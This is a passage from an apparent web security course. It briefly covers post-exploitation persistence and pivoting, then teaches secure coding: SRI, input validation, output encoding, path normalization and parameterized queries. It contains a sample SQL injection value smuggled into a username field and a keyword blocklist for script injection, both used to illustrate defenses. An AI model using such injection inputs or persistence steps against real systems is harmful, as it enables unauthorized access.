This Learning Unit will take approximately 15 minutes to complete.
In general, three common tasks in Post-Exploitation are persistence,
privilege escalation, and pivoting. However, our objectives in this
phase will be determined by the client's scope for the assessment.
We may find exploits that allow us to move or access a different
application or server, which is known as pivoting. We will cover
that shortly. However, some assessments may not include any other
in-scope applications or servers, which drastically reduces the size
of a Post-Exploitation phase.
Once we have access to the server via a shell, we need to make sure
we can get a new shell if we lose our connection. Establishing another
way to obtain a new shell is known as persistence. Sometimes the
initial exploit that created our shell will be repeatable. However, if
an exploit required user interaction or other special conditions, we
may want an easier way to get a new shell.
If the server has SSH or RDP enabled, we could add our own SSH key
or create a new user with RDP privileges. Alternatively, we could add
a new service with a vulnerability, but this approach is more inline
with a penetration test or red team[336] engagement than a
web application assessment.
Privilege Escalation[337] is the process of
exploiting the operating system or an application to gain access to
a higher permission user. On a Linux host, we would typically try
to become the root user. On a Windows host, we would target the
SYSTEM[338] user.
In the context of post-exploitation, pivoting is using our access
one machine to target another machine. When we compromise a web
application and its server, we may be able to access other servers
that are behind a firewall or otherwise don't allow remote access.
For example, most web applications interact with databases. If the
database is running on another server, we usually cannot access it
directly as a remote user. However, if we've compromised the web
application server, we can likely access the database server from our
position on the web application server.
If we do pivot to other systems, we essentially start our attack
process over with a new Enumeration phase on the new targets. There
may be credentials or other useful material on the compromised server
that we can use to easily access other systems, such as the database
credentials used by the web application.
Reporting
This Learning Unit covers the following Learning Objectives:
- Understand the importance of documenting and reporting
vulnerabilities - Understand the importance of knowing your audience
- Understand how to classify vulnerabilities
- Understand how to assess the impact and severity of vulnerabilities
This Learning Unit will take approximately 30 minutes to complete.
A web application assessment is only be as good as the report that
summarizes it. Our findings must be accurate and actionable for our
clients to take the report and improve their security posture. With
that in mind, when we draft a report, we need to know our audience,
classify vulnerabilities correctly, and honestly assess the impact and
severity of the vulnerabilities.
We should always try to adjust our report to match the audience that
will be reviewing it. If our client has an internal security team, we
may not need to include as many external references as we would to a
client with a small IT team and no full-time security team.
There are many ways to classify and group vulnerabilities. Where
possible, we should use industry-standard vulnerability names in our
reports so our clients can easily find additional information online
if necessary.
Common Weakness Enumeration (CWE)[339] is a commonly used list
of software and hardware flaws and vulnerabilities. The CWE list has
over a thousand entries categorized into several different views. One
drawback of using CWEs to classify vulnerabilities is that the items
on the list can be either too specific or overly broad. For example,
there are several different CWEs for path traversal[340]
based on the type of payload. Despite these drawbacks, many tools will
reference CWEs, so it is important to familiarize ourselves with them.
Another common grouping of vulnerabilities for web applications is
the OWASP Top Ten. Refer to the Web Topic for more details on the
OWASP Top Ten.
Many organizations will rank vulnerability severities as High, Medium,
or Low. Some will also include Critical and Informational. Regardless
of which values we use, it is important not to overstate the severity
of a vulnerability. We must consider several factors when determining
the severity of a vulnerability.
We should think about the impact of an attacker exploiting the
vulnerability. How many users would be affected? What type of data
could the attacker access? Could the vulnerability disrupt the ability
to perform normal business operations?
We also need to consider the likelihood of an attacker exploiting
the vulnerability. Is the vulnerability difficult to discover or
exploit? Are custom tools or insider knowledge required to exploit the
vulnerability?
Vulnerabilities that are highly likely to be exploited and have the
potential to impact business operations may be Critical or High. On
the other hand, if a vulnerability that is difficult to discover and
exploit has little or negligible impact, it might be considered Low.
We can use a framework, like the Common Vulnerability Scoring System
(CVSS),[341] to remove some of the guesswork of calculating
severity. CVSS v3.1 uses fifteen metrics across Base, Temporal, and
Environmental groups to calculate a score from 0 to 10. Organizations
can use that numeric value as is or translate it to their ranking
system of choice.
Introduction to Web Secure Coding
In this Learning Module, we will cover the following Learning Units:
- Trust Boundaries
- Untrusted Input Handling
- Output Encoding and Character Escaping
- File Handling
- Parameterized Queries
When developing applications, security should not be an afterthought.
As an application grows, it becomes increasingly more difficult to
"add security later". Instead, we should try to write code in a such
a way that reduces the chances of introducing vulnerabilities in the
first place, a practice known as secure coding.[342]
There are a variety of practices that can improve the overall
security posture of an application. However, since modern frameworks
often include a baseline set of security controls, in this module
we will focus on controls that can prevent or mitigate most common
vulnerabilities in web applications.
We will start by discussing trust boundaries and how they factor into
application security. Then, we'll focus on input validation and output
encoding. Finally, we will discuss parameterized queries. While there
are many other topics related to secure coding, these will form a
basic foundation for the process of securely coding web applications.
Trust Boundaries
This Learning Unit covers the following Learning Objectives:
- Understand trust boundaries
- Understand how to identify trust boundaries in applications
- Understand subresource integrity
- Calculate a hash using openssl
- Understand the concept of defense-in-depth
A trust boundary[343] in an application is point
at which data or commands change permission levels. For example,
data submitted by a user without validation is at a different
trust level than data the application has validated server-side.
Likewise, unauthenticated users operate at a different trust level
than authenticated administrative users. Applications must apply
security controls consistently at all trust boundaries to protect the
application from untrusted input.
Developers must understand trust boundaries between disparate systems
to avoid "second order" attacks wherein a payload is submitted to
one system and exploited in another. This concept is becoming more
important as developers trend toward smaller applications with
collections of microservices.[344]
Let's review an example and practice identifying trust boundaries in a
web application.
Figure 1 describes the data flow in a
basic web application. Users interact with an application server over
the Internet. The application server connects to a database server.
In older, monolithic applications, the database might even run on the
same server as the web application. For the sake of simplicity, we
have omitted appliances like routers and firewalls from the diagram.
The first trust boundary exists between the application server and
the Internet. While our application provides content (such as HTML,
JavaScript, images, etc.) to the user and their browser, we have
limited ways to guarantee outside parties have not manipulated our
content in transit or in the browser. For example, some ISPs inject
advertisements into HTML responses and some users attempt to block
them with various browser plugins such as ad blockers. Each of these
manipulate data in transit to the browser.
A second trust boundary occurs between the application server and
the database server. While an application might be responsible for
writing most of the data contained within the database, there may
be situations in which unintended data ends up in the database.
For example, database administrators (DBAs) might interact with the
database directly. Attackers might be able to bypass input validation
and inject malicious data into the database.
Next, let's consider a web application using a basic interpretation of
microservices architecture.
The web application in Figure 2
uses an API to handle some logic and a content delivery network
(CDN)[345] to host and deliver JavaScript files. The trust
boundaries we identified last time still apply here. The addition of
an API creates a new trust boundary between the web application and
the API. Another trust boundary exists between the API server and
its database, but from the perspective of the developer responsible
for the web application, that boundary is non-essential. If we don't
automatically trust any data from the API, any downstream integrations
of the API do not concern us.
Using a CDN to handle resources, such as JavaScript, introduces an
interesting delegation of trust. If our application serves HTML that
includes resources from an external domain, we don't have direct
control over those contents. If attackers compromise the CDN, it could
start serving malicious content that applications may load. We'll
learn how to prevent this type of attack in the next section.
For the following exercise, consult the data flow diagram below.
Subresource Integrity (SRI)[346] instructs the browser to
not load a resource if the hash of the resource does not match a
pre-provided value. We can set an integrity attribute with the
pre-defined hash value as part of a script or link element.
Let's review an example of a script element with SRI enabled.
<script src="scripts/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous" ></script>
Listing 1 - Example script element with SRI enabled
The script element in Listing 1 includes an
integrity attribute. Notice how the integrity value begins with
"sha384". This indicates the base64-encoded hash value after the dash
was calculated with the SHA384 algorithm. The currently supported
algorithms are SHA256, SHA384, and SHA512. We must include the
crossorigin attribute when using SRI on resources hosted on external
domains. This also means the site hosting the resources must support
Cross-Origin Resource Sharing (CORS)[347] to enable SRI. The
"anonymous" value used in this example means the browser will only
send credentials, such as HTTP cookies, if the request is to the same
origin.
In Kali Linux, we can use openssl to calculate and base64-encode
a hash value of a file. We need to set dgst to create a
message digest, specify the algorithm with -sha384, set
-binary to generate binary output, and finally the file
we want hashed. Since we need the result base64-encoded, we'll pipe
the binary output to openssl (with the base64 argument)
to base64-encode the output and use -A to write the base64
output as a single line.
kali@kali:~$ openssl dgst -sha384 -binary test.js | openssl base64 -A
IMR5mPD7vl9kNTutndXHoFmH1NmdJzbzv1hmrKNN8UR+98beWaNSRJ9d9Ymkcs+c
Listing 2 - Calculating the hash of a file with openssl
Even a minor change to the file will change the file's hash value. For
this reason, it is common to link to a specific version of a resource
when using SRI to prevent browsers from rejecting a resource due to
updates.
Software should have multiple layers of security embedded
throughout the application. This is known as defense in
depth.[348] Our goal is to leverage centralized
controls, while avoiding a single point of failure.
For example, it's a good idea to use a set of functions to handle
input sanitization consistently across the application. However,
if we only apply input sanitization to unauthenticated users while
exempting authenticated users, we put the application at risk.
An application should consistently perform output encoding when
displaying user-supplied data, even if it has already validated the
data. Consistently applying multiple controls increases the security
posture of an application and may prevent a single bug in one security
control from allowing attackers to compromise the application.
Additionally, we cannot not rely on client-side controls as a sole
security mechanism. We previously mentioned how attackers can bypass
these controls.
JavaScript In-browser validation can reduce erroneous traffic from the
user to the server from normal users but client-side validation is not
a secure control. Malicious users have control over their browser and
can modify the DOM in their browser or send requests with non-browser
tools such as curl or Burp Suite.
One of the best ways to prevent common web application vulnerabilities
is to apply a set of consistent security controls throughout an
application's data flows. This may include validating user-supplied
input, using parameterized queries when accessing a database, and
performing output encoding when returning data to users. Using this
approach, an attack payload must make it through multiple layers of
controls to be effective. We'll discuss these types of controls in
subsequent Learning Units.
Untrusted Input Handling
This Learning Unit covers the following Learning Objectives:
- Understand the concept of input validation
- Understand the importance of enforcing data types
- Understand common dangerous characters
- Understand the basics of blocklists and allowlists
- Understand the basics of pattern validation
Mishandling data can cause common web application vulnerabilities.
In addition, handling unexpected data can create logic errors in an
application. This can be prevented with input validation in which
input is stripped of dangerous characters and validated by data type,
length, format, and character set. This process should happen as early
as possible when receiving input.
Regardless of which approaches developers choose to use, and in what
combination, input validation must be applied consistently. Malicious
actors can disable or bypass client-side controls implemented in
the browser, such as those implemented in JavaScript. Therefore,
server-side code is preferred for input validation and sanitization.
Mishandling data types in dynamically-typed programming
languages[349] can lead to logic errors. If these errors
occur in security controls, attackers might be able to bypass the
vulnerable controls to access sensitive data or functionality.
Dynamically-typed languages will often try to check data types
at runtime, performing type conversions automatically as needed.
Specifically, dynamically-typed languages often have different
operators for checking the equivalency of two values. The first
includes an abstract equality check with the == operator which
will automatically convert data types and a strict equality check
with the === operator which checks equality without performing a
type conversion.
Let's consider an example in JavaScript, a dynamically typed language:
> "1" == 1;
true
> "1" == true;
true
> "1" === 1;
false
Listing 3 - Comparing different data types in JavaScript
In the listing above, the string value of "1" is equal to the integer
1 and the Boolean true when using an abstract equality comparison.
However, when using a strict equality comparison, the string value "1"
does not equal the integer value 1 since no type conversion occurs.
If we attempted to perform these same comparisons in a strongly typed
language,[350] such as Java, we would receive errors as
illustrated in the listing below.
jshell> "1"==1;
| Error:
| bad operand types for binary operator '=='
| first type: java.lang.String
| second type: int
| "1"==1;
| ^----^
jshell> 1== true;
| Error:
| incomparable types: int and boolean
| 1== true;
| ^------^
Listing 4 - Comparing different data types in Java
Strongly-typed languages usually need the values converted into the
same data type before the values can be compared. Some programming
languages fall between strongly typed and weakly typed. For instance,
Python allows a variable to hold different types by simply reassigning
values. However, we can check the current type of a variable with the
type() function.[351]
If an application uses abstract equality with loosely-typed variables
in security-sensitive operations, attackers might be able to bypass
controls by submitting values that fulfill abstract equality checks.
Applications should therefore cast input to the expected data type and
use strict equality comparisons.
For the next exercise, consider the following JavaScript code:
"1" === true;
Listing 5 - Comparing different values in JavaScript
Some text characters have special meaning when passed outside of
applications to operating system commands, SQL queries, or HTML.
Generally, the list of "dangerous" characters includes the following:
< > ' " ; * : { }
Listing 6 - Dangerous characters
However, an exact list of dangerous characters or keywords varies by
context. In other words, an attack against a database and an attack
against a browser will have different dangerous characters. For
example, an ampersand (&) character denotes parameters in a query
string or POST body, but it can be used to chain together OS commands.
If an application renders user-supplied data in HTML responses, the
list of dangerous characters varies depending on where the malicious
data is included in the application.
Let's review a few examples using HTML.
<html>
<body>
<div>Hello [INPUT HERE]</div>
...
</body>
</html>
Listing 7 - Sample HTML
In this example, the application writes user-supplied data into a
div element. If the application lacks input validation and output
encoding, attackers could potentially inject "<" and ">" characters,
including arbitrary JavaScript or HTML, resulting in a cross-site
scripting[352] attack.
Here's another example:
<html>
<head>
<script>
var x = "[INPUT HERE]";
...
</script>
<body>
...
</body>
</html>
Listing 8 - Sample HTML and JavaScript
In this example, the application writes user-supplied into a block
of JavaScript. Instead of needing "<" and ">", attackers could
simply inject double quotes and a semicolon (";) followed by their
own JavaScript code. Placing user supplied-data into script blocks and
event handlers is very dangerous and should be avoided if possible.
These examples are not exhaustive but are meant to illustrate
the importance of context when handling user-supplied data in web
applications.
Blocklists and Allowlists are two common approaches to performing
input validation.[353]
Blocklist validation uses a list of known bad values. If a value
is on the list, it is considered invalid and must be rejected. This
technique is often used by developers in an attempt to block certain
malicious payloads. For example, the single quote or apostrophe
character (') has special meaning in SQL queries and is often used
in a SQL injection attack. Developers might build a block list that
includes this character. Such a list, if implemented without care,
could have unintended consequences such as blocking legitimate names
which contain with apostrophes.
A blocklist by itself is essentially the opposite of a Default Deny
policy. This concept comes from network security, but it applies to
software as well, especially code that deals with user permissions.
In essence, a Default Deny policy means unless an action is explicitly
allowed, it is denied. We could paraphrase a blocklist as "allow
all characters or words that are not on this list". In addition,
a blocklist is not considered to be a sufficient input validation
approach but works best when combined with other techniques which are
explained below.
Allowlist validation uses a list of known good values. If a value is
not on the list, it is invalid and the application should reject it.
This approach works best when a value should be part of a finite,
well-defined data set.
For example, if we built a car sales website that allows users to sort
by color, we could build an allowlist containing the most common car
colors. Our application could use this list to validate that "red" is
valid input, while "pleurigloss" is not.
Allowlists and blocklists can contain entire words or
individual characters. For example, a blocklist could validate that
a field does not contain any numbers. However, pattern validation
can often be a better tool for granular validation rules. We'll learn
about pattern validation in the next section.
For the following exercise, consult the listing below.
function isValid(input) {
list = ['script','src','alert']
valid = true
for word in list {
if input.contains(word) {
valid = false
}
}
return valid
}
Listing 9 - Pseudocode input validation function
Sometimes data follows a known pattern, but contains unknown values.
For example, email addresses must contain a name, the @ symbol, and
a domain name. It would be nearly impossible to build a list of valid
email addresses, but we could use a regular expression[354]
(also referred to as regex) to validate that a given string of text
matches the pattern of an email address. We could also use regular
expressions to scan for the existence of special characters.
Let's create a pattern that matches email addresses which usually
contain a name or identifier, an "at sign" (@), and a domain name.
We can use regular expressions to check for specific characters,
sequences of characters, or character classes.[355] By
comparing character classes, we can match on the types of characters,
such as numeric or non-numeric. For example, "\d" matches any numeric
value without having to specify 0-9.
To match the name component of an email address, we'll use
[\w.]+ which matches match any alphanumeric character. The
"." characters match a period because it is inside square brackets,
which mark a character group or class.[356] Outside of
a character class, a period matches any character unless escaped with
a backslash. The plus sign (+) after the square brackets means "one or
more". This pattern should match any alphanumeric characters including
periods.
We can match an at sign with @. For the final part of the
regex pattern, we'll use \w+.\w+ to match any number of
alphanumeric characters, followed by a period and more alphanumeric
patterns.
This is the final pattern, including forward slash delimiters:
/[\w.]+@\w+.\w+/
Listing 10 - A regex pattern to validate email addresses
There are many ways to write regular expressions that match a single
pattern. Any time we use regular expressions for data validation, we
will need to test them to ensure there aren't any false positives or
false negatives.
Let's try using this pattern in our browser's Web Console. In Firefox,
we can open the Console with C B k. We'll start by declaring
a variable named "ourPattern" and assign it the regex pattern from
Listing 10. In JavaScript, we use forward slashes (/)
as pattern delimiters.
>> ourPattern = /[\w.]+@\w+.\w+/
/[\w\.]+@\w+.\w+/
>>
Listing 11 - Declaring a regex in JavaScript
We can use the test()[357] method to check if the regex
matches a string. The method will return "true" if the pattern and
string match. If they don't match, the method will instead return
"false".
>> ourPattern.test("tom.jones@test.com")
true
Listing 12 - Comparing a string to a regex
Since the string matched the pattern, the method returned "true". This
example matched against the entire string. Most programming languages
support other methods,[358] including those that can split
strings based on regex or replace-any matches.
Output Encoding and Character Escaping
This Learning Unit covers the following Learning Objectives:
- Understand the concept of output encoding
- Understand how to perform output encoding
- Understand that context matters when determining which characters
need to be encoded - Understand the concept of character escaping
An application may need to accept and display dangerous characters.
Applications can use output encoding (also known as output escaping)
to display these characters as text, rendering them non-exploitable.
One common way to perform output encoding for HTML is through the
use of HTML entities.[359] For example, if we want to
display a less than symbol ("<") in HTML as text and not part of a
tag, we could use the HTML entity representation "<".
Many programming languages include functions to convert
special characters to HTML entities. However, these functions
alone might not be sufficient to protect against cross-site
scripting without additional configuration. For example,
Python's html.escape()[360] function and PHP's
htmlentities()[361] function will both encode "<"
and ">" by default, but they require an additional flag to encode
single quotes.
Let's try an example using Python in our Kali Linux VM. We'll start
by running python3. Next, we'll import the html module with
import html. Finally, we'll call the html.escape() function
on a string.
kali@kali:~$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import html
>>> html.escape("<div>Great tacos today, Jake!</div>")
'<div>Great tacos today, Jake!</div>'
>>>
Listing 13 - Using html.escape() to perform HTML encoding
The function converted "<" to "<" and ">" to ">". We can
also pass quote=True into the function to encode single and double
quotes. We can decode the results using html.unescape().
>>> html.unescape('<div>Great tacos today, Jake!</div>')
'<div>Great tacos today, Jake!</div>'
>>> exit()
Listing 14 - Using html.unescape() to perform HTML decoding
We have the original string back after calling html.unescape() and
can exit the Python interpreter with exit().
Many template engines[362] will automatically
perform output encoding by default. However, some engines might
consider output encoding an optional function that must be explicitly
called or otherwise globally enabled via configuration.
It is also important to remember that context (or where the data
will be used) determines how we should encode data. The dangerous
characters for writing data into an HTML element are different than
which characters are dangerous when writing into JavaScript.
Character escaping[363] is conceptually similar
to output encoding. Essentially an extra character indicates that
one or more following characters should be interpreted as text. Many
programming languages use the backslash character (\) as an escape
character. We will commonly find escape characters in strings that
need to include delimiters within themselves.
Consider the following JavaScript code:
var escString = "I am a string with \"delimiters\" inside!";
Listing 15 - Sample JavaScript code with character escaping
Like many other programming languages, JavaScript uses double quotes
(") as a string delimiter. If we want to include a double quote within
a string, we need to escape the double quote with a backslash (\").
Many SQL databases use a single quote (') as a string delimiter.
Some databases support escaping with a backslash. Others will "double
up" single quotes, using two single quotes next to each other for
escaping.
Some programming languages include functions, such as PHP's
mysqli_real_escape_string(),[364] that perform
character escaping for SQL statements. Even though these types
of functions may prevent some types of SQL injection, not all SQL
injection attacks require single quotes. Additionally, there are
more robust solutions to prevent SQL injection, such as parameterized
queries, which we'll review later in this module.
File Handling
This Learning Unit covers the following Learning Objectives:
- Understand how to validate file extensions and formats
- Understand how to normalize file paths
- Understand the importance of deciding where files are stored.
Whether allowing users to upload files or retrieve files from
disk, applications need to handle file operation securely to
prevent vulnerabilities. When applications do not handle uploaded
files securely, attackers can potentially overwrite configuration
files or upload malicious files, such as malware or web
shells.[365] If an application accesses local files based
on user-supplied input without proper input validation, attackers
might be able to use a directory traversal attack[366] to
access arbitrary files on the web server.
Applications should validate the file format and extension when
uploading or retrieving a file. An application might check the file
extension as a first step. Developers will often implement this sort
of logic in client-side controls, which will prevent an average user
from uploading the wrong file type. However, attackers can spoof
or modify file extensions. Applications should enforce this logic
server-side.
For example, we could use a simple JavaScript example to parse file
names that contain multiple periods:
> var filename = "fake.jpg.exe";
undefined
> filename.includes("jpg");
true
> filename.endsWith("jpg");
false
Listing 16 - Using JavaScript to check if a string contains or ends with a value
If an application uses the include()[367] method to
check for a given file extension, in this case "jpg", the function
will return true. However, the actual file extension is "exe". The
endsWith() method returns false when we check if the string ends
with "jpg".
This example used string methods to check the extension. Some
programming languages have file-specific classes or functions that can
parse a string by file path, file name, and file extension, such as
Python's os.path[368] module. These functions tend to
be more robust than implementing file extension checks based on string
manipulations. However, it is important to review and understand how
these functions work in our programming language of choice and what
configuration options we might need to provide when invoking the
functions.
Applications can also verify a file's format by checking its
signature.[369] Not every file format has a well-known or
defined signature. Applications can check a file signature by reading
the bytes at the start of a file or by using a dedicated library to
handle the check. The file[370] command on most Linux systems
performs this check as well.
kali@kali:~$ file example.txt
example.txt: ASCII text
kali@kali:~$ file example.jpg
example.jpg: ASCII text
kali@kali:~$ file example.pdf
example.pdf: PDF document, version 1.4
Listing 17 - Using the file command to check files types
While useful, the file command requires a file already written to
disk, but some applications can inspect file signatures in memory
before writing a file to disk.
Applications should reject uploads that do not match the expected
file formats. Likewise, if an application retrieves a file from disk
for a user, the application should verify the file format matches the
expected type. In both cases, the application should reject any file
that does not pass the validation checks.
Attackers may attempt to manipulate file paths by including relative
pathing characters (../) or including absolute file paths to access
files in other directories. Therefore, when dealing with reading
or writing files, applications should normalize file paths before
performing any other action. The process of normalizing a file path
resolves any relative pathing to create an absolute file path.
Most programming languages include functions that can normalize file
paths. For example, we can use os.path.normpath()[371]
to normalize a file path in Python:
kali@kali:~$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.normpath("/foo/../bar")
'/bar'
>>>
Listing 18 - Using os.path.normpath() to normalize a file path
In Listing 18, the os.path.normpath() function
normalizes the path /foo/../bar to /bar.
Once an application has normalized the file path, it should check
if that path is a valid location using an allowlist. Sometimes an
application will reject a request or parameter if it contains relative
pathing characters (../). This can be a useful security control but
normalizing paths and validating against an allowlist will also block
attacks that include absolute pathing.
When allowing file uploads, we must decide how to store the files.
The intended use-case of our application and the types of files
uploaded will influence this decision. If the user should be allowed
to directly browse to the uploaded file, we could store the file in the
web root or in publicly accessible storage (such as an S3 bucket).
However, storing files in the web root can be dangerous if the
application server can execute the code contained in the files. For
example, an application written in PHP that allows users to upload
any files to the web root will likely be vulnerable to remote code
execution through an uploaded web shell.
If we need to restrict access to the uploaded files, we should
write the files outside the web root so that they cannot be directly
accessed. Instead, our application can determine which users can
access the files and return the file contents to them. When doing so,
the application must include the correct content-type to prevent the
browser from mishandling the response.
When saving files locally, the application should generate a unique
file name instead of using the user-supplied name. Renaming the file
adds another layer of complexity for attackers to directly access
an uploaded file and prevents the uploaded file from overwriting an
existing file.
Parameterized Queries
This Learning Unit covers the following Learning Objectives:
- Understand the basics of SQL injection vulnerabilities
- Understand the importance of parameterized queries
- Understand how to write parameterized queries
When dealing with a database, input validation alone may not
afford sufficient protection from attack since SQL statements
mix commands with data. As such, if an application dynamically
constructs SQL queries with user-supplied input, an attacker may
be able to manipulate queries to change their meaning or extract
data from the database. These sorts of attacks are known as SQL
injection[372] and can lead to complete server compromise.
SQL injection usually occurs when applications build SQL queries from
user-supplied input. Consider the following example written in PHP:
$username = trim($_POST['username']);
$sql = "SELECT username, password FROM users WHERE username = '" . $username . "'";
Listing 19 - Sample PHP code with SQL query
In this example, the code populates the value of $username from
a POST body. The code then concatenates the value into a string as
part of an SQL query. If a user submits the username "tom.jones", the
application generates the following SQL query:
SELECT username, password FROM users WHERE username = 'tom.jones '
Listing 20 - Generated SQL statement
This is most likely the sort of query that the developer expected
while writing the code. However, let's suppose a user submits the
username "tom.jones' or 'a'='a". The application will then
generate the following query:
SELECT username, password FROM users WHERE username = 'tom.jones' or 'a'='a '
Listing 21 - SQL statement with injection payload
Because the code concatenates the value directly into the query, the
query's meaning has changed due to the additional OR clause, resulting
in a query that will return all records from the users table. Our
first instinct may be to apply input validation on the $username
variable. Input validation is an important security control, but
it cannot prevent all instances of SQL injection. We should still
validate data before storing it in a database, but we shouldn't rely
on validation alone to prevent SQL injection. Let's consider another
example in PHP.
The mysqli::real_escape_string() function in PHP escapes special
characters in a string. According to the documentation:
Characters encoded are NUL (ASCII 0), \n, \r, , ', ", and
Control-Z.
This function would be suitable for our previous example. The single
quotes would be encoded and therefore they would not allow us to
maliciously modify the query. However, consider the following example:
$id = trim($_POST['id']);
$sql = "SELECT username, password FROM users WHERE id = " . $id;
Listing 22 - Another sample of PHP code with SQL query
If the $id variable is intended to be an integer value, it does
not need to be surrounded by quotes in a SQL query. If an application
doesn't validate that the variable contains an integer value or
explicitly cast the value to an integer, this could would also
be vulnerable to SQL injection even if the real_escape_string()
function is used. Since the value isn't quoted in the SQL query, a SQL
injection payload would also not require quotes.
Fortunately, we can use parameterized queries[373] to
prevent SQL injection.
Most programming languages and frameworks support parameterized
queries. Some languages refer to these as prepared
statements.[374] Regardless of what a programming
language calls them, these queries use parameters, or placeholders,
to mark where values will be supplied when the query is executed.
By marking parameters in this way, the SQL interpreter has a clear
delineation between the SQL query itself and any parameters. The
database compiles the query separately and then binds the parameters
at run time. Parameterized queries, when used properly, are very
effective at preventing SQL injection attacks.
The syntax for a parameterized queries is different than the queries
we examined in the previous section. Let's review an example in PHP.
$stmt = $conn->prepare('INSERT INTO users(username, password) VALUES (?, ?)');
$stmt->bind_param('ss',$username, $passwordhash);
$stmt->execute();
$stmt->close();
Listing 23 - Another sample of PHP code with SQL query
First, we need to call prepare() with our SQL statement. Instead of
placing the variables in the SQL query, we use question marks as place
holders. Next, we call bind_param() on the resulting $stmt object
and pass in a string that defines the variable types ('ss' for two
strings in this case) followed by the variables. The variables will be
used in the order the are passed in. In other words, $username will
correspond to the first parameter and $passwordhash to the second.
We call execute() to execute the SQL query and then call close()
to close our connection.
Some languages also support naming the parameters in the query by
prefixing the names with colons (:).
$stmt = $conn->prepare('INSERT INTO users(username, password) VALUES (:username, :passwordhash)');
$stmt->bind_param(':username',$username);
$stmt->bind_param(':passwordhash',$passwordhash);
Listing 24 - Using named parameters in a SQL query
When a programming language supports named parameters,
they are typically bound individually as shown in Listing
24. However, some programming languages or
frameworks may have different implementations.
While parameterized queries may require more upfront development time
compared to dynamically generating queries, they are essential to
preventing critical vulnerabilities.
Web Session Management
In this Learning Module, we will cover the following Learning Units:
- Authentication and authorization
- Password comparison and storage
- Web HTTP session basics
- Introduction to cookie security
- Single sign-on (SSO)
Traffic between a web server and a client is commonly over HTTP or
HTTPS. The traffic can contain numerous HTTP Request and Response
packets. There is session management tracking at multiple protocol
levels during these interactions. In this module, we will introduce
some concepts related to HTTP session tracking.
Let's think about a time we visited a website and clicked on different
buttons. Maybe browsing a store that requested our home continent or
selecting the language the website content would be presented in. Once
we made our selection, the web server provided the appropriate web
page.
If we closed and reopened the browser tab and navigated back to that
site, chances are the website would not ask us those initial questions
again (though, this would depend on other factors like web server and
browser configuration). The web browser would likely remember what
we previously selected and automatically redirect to the main portion
of the website. This is possible because of session management, or
unauthenticated session tracking in our example.
Another example is when we browse to a website that requires login
credentials to access certain sections. Once we provide the correct
credentials, we are able to navigate throughout authenticated portions
of the website. Again, this is due to session management, but this
time around, it is considered authenticated session management.
There is also behind-the-scenes session management on the server
side that is not visible to the end user. We will not be focusing on
the server side components in this module.
Without HTTP session management, the web server might have to
authenticate the client for every web request, which may not be an
enjoyable user experience.
In this module, we are going to analyze what HTTP browser session
tracking means from a technical perspective. We will also point
out security concerns and ways to address them. As cyber security
professionals, it is very important to understand the risks, and
mitigation techniques, associated with session management.
Authentication and Authorization
This Learning Unit covers the following Learning Objectives:
- Compare and contrast authentication vs authorization
- Understand the importance of session management
In this Learning Unit, we are going to discuss the differences between
authentication and authorization and how they are related to each
other. We are also going to explain how each process connects to
session management.
Authentication[375] and
Authorization[376] sound similar but are two
different aspects. While they are closely related, both processes
serve slightly different purposes.
Authentication is the process of confirming the identity of a user
or system. Similar to providing ID at the airport, we are essentially
showing proof that we are who we say we are. Authentication can also
happen for systems such as websites, digital documents, or physical
things. In terms of user authentication, once an identity has been
verified, access to resources is allowed based on authorization.
Authorization controls access to resources. Once the system has
verified the user, the system determines what resources the user has
access to. Although access control can refer to users and systems,
both physical and digital, in this module, our focus will be on users.
Access control and access policies[377] is a
whole subdomain of information security, which we will not discuss in
depth here.
Authentication occurs before authorization. One way of thinking about
authentication is that someone has to be confirmed as "authentic"
before authorizing access.
In the previous section, we learned that authentication confirms the
identity of a user or system. Authorization uses rules or policies
to provide access to resources. In order for authentication and
authorization to be effective and enjoyable for users, we use session
management.
Let's imagine that we go to the bank to withdraw cash. The teller asks
us for an ID, which we provide to authenticate. Then, they inform us
that we are authorized to withdraw or deposit money into our account.
They ask us how much money we want to withdraw and we reply "$100".
Imagine if they asked again for our ID for authentication before
giving us the money. This would get very annoying, very quickly.
This analogy can be applied to a user logging in to their bank account
online. If the web server required the user to authenticate every time
a button is clicked, the website wouldn't be user friendly.
This is one of the many reasons why session tracking is desired.
A session[378] is when two or more devices communicate
during a certain period of time. As mentioned earlier, the key point
about sessions is that they are usually stateful.[379]
That means there is some level of tracking information between the
systems in order to maintain a state. Back to our bank analogy, once
the bank teller initially authenticated our identity, they would not
need to authenticate us again for the duration of our "session", or
our time communicating. A more practical example is when a user logs
in to their bank account online. Depending on different factors,
that session is stateful, or managed, and the user does not have to
constantly authenticate.
The unauthenticated session management process begins prior to
authentication. For instance, maybe we are browsing a store website
and find an item. Let's say we increase the quantity to two, add it
to our cart, and then click the cart page button. The server may want
to keep track of the interaction and respond by displaying those two
items that were added to the cart when the cart page is queried.
In terms of authenticated session management, the concept is basically
the same. There are slight differences, but the server still has
to keep track of the current interaction. The authenticated session
management process occurs after authentication has been successfully
verified.
Let's continue exploring how password comparison and storage works
during the authentication process.
Password Comparison and Storage
This Learning Unit covers the following Learning Objectives:
- Understand how web servers store credentials
- Provide a technical explanation of the authentication process
In this section, we will get a better understanding of how web
applications might store credentials and then further explain the
authentication process.
In some cases, credentials are stored in the source code of the web
application. When a user provides the credentials, the web application
would compare the user input with the hard-coded[380]
credentials. If there is a match, the web application would
authenticate the user and allow access. Otherwise, the web application
would deny access. Security practitioners identified that hard-coding
credentials is often vulnerable. There are numerous methods that
allow unauthorized individuals to access source code and view the
credentials in different scenarios.
Databases are one concept that can help address this issue. A
database[381] is collection of information, or data,
structured in an organized manner that generally aids in information
retrieval and data usability. While databases were not specifically
created to store credentials, they did gain popularity as a way to do
so. Databases can help protect against the potential vulnerabilities
of hard-coded credentials in web application source code, but it does
create other vulnerabilities specific to databases. Our focus in this
module is not learning about different database types, but instead
focusing on ways that credentials might be stored in databases,
regardless of the specific database type or Database Management
System (DBMS).[382]
Although it's not typically implemented anymore due to insecurity,
plaintext[383] is a way to store credentials. This
is data that is unencrypted and by far the worst method to store
credentials. A database table with plaintext credentials is something
like this.
| username | password |
|---|---|
| admin | CipherRocks |
Table 1 - Plaintext credentials
